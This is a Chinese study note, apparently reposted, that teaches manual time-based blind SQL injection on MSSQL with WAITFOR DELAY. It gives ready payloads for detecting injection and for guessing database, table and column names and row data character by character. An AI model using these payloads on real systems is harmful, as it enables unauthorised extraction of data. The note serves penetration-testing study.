學習筆記二十:Mssql手注之延時型盲注


延時函數WAITFOR DELAY

WAITFOR是SQL Server中Transact-SQL提供的一個流程控制語句。它的作用就是等待特定時間,然后繼續執行后續的語句。它包含一個參數DELAY,用來指定等待的時間。如果將該語句成功注入后,會造成數據庫返回記錄和Web請求也會響應延遲特定的時間。由於該語句不涉及條件判斷等情況,所以容易注入成功。根據Web請求是否有延遲,滲透測試人員就可以判斷網站是否存在注入漏洞。同時,由於該語句並不返回特定內容,所以它也是盲注的重要檢測方法。

語法:

WAITFOR DELAY '0:0:n'

示例:

WAITFOR DELAY '0:0:4' --   表示延遲4秒

IF exists()字句

語法:

IF exists () WAITFOR DELAY '0:0:5'

注入流程:

1.判斷是否存在注入

WAITFOR DELAY ‘0:0:4’

2.猜解數據庫名稱

IF exists (select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=109) WAITFOR DELAY '0:0:5'--

3.猜解表名

IF exists (select top 1 table_name from information_schema.columns where unicode(substring(table_name,1,1))=109) WAITFOR DELAY '0:0:5'--

4.猜解列名

IF exists (select top 1 name from syscolumns where id =(select id from sysobjects where name = '表名') and unicode(substring(name,1,1))=117) WAITFOR DELAY '0:0:5'--

5.逐字猜解數據

IF exists (select id from 表名 where unicode(substring(列名1,1,1))=97 and ID=1) WAITFOR DELAY '0:0:5'--

IF exists (select id from 表名 where unicode(substring(列名2,1,1))=55 and ID=1) WAITFOR DELAY '0:0:5'--


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM